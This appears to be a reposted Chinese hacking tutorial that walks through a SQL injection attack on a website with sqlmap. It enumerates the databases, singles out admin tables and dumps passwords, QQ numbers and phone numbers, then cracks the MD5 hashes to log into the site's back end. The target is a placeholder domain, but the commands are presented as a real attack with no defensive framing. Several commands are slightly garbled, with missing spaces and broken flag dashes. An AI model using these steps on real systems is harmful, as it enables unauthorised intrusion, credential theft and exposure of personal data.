实战|SQL注入攻击网站
Posted kali黑客教学
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了实战|SQL注入攻击网站相关的知识，希望对你有一定的参考价值。
SQL注入
一：获取数据库类型
sqlmap -u http://xxx.com –dbs
获得的信息：linux服务器系统为cenos 5.10
Apacher php 的版本 数据库类型为sql
二，获取数据库中的数据库
sqlmap -u http:xxx.com --dbms mysql--level 3 –dbs
OK，当前数据库中有两个数据库，目测sq_kffc200为当前网站的系统！（做过网站都知道的）
三，
从当前数据库中获取表段
sqlmap -uhttp://www.xxx.com --dbmsmysql --level 3 -D sq_kyfc200 –tables
Ok 我们可以看到有很多表头 怎么办？
没事我们找关键字（含有admin开头的全部搞上去！）
四：获取admin表中的字段
sqlmap -u http://www.xxx.com--dbms mysql --level 3 -D sq_kyfc200 -T "boc_admin_user,boc_admin_user,ky_admin"–columns
获取到的表段：还是关键字password username 等
五，获取表和字中的密码：
sqlmap -uhttp://www.xxx.com --dbms mysql--level 3 -D sq_kyfc200 -T "boc_admin_user,boc_admin_user,ky_admin" -C"login_count,password,qq,tel" –dump
OK 获得MD5加密的密文 解密登录后台
获取更多原创教程 扫码关注即可
以上是关于实战|SQL注入攻击网站的主要内容，如果未能解决你的问题，请参考以下文章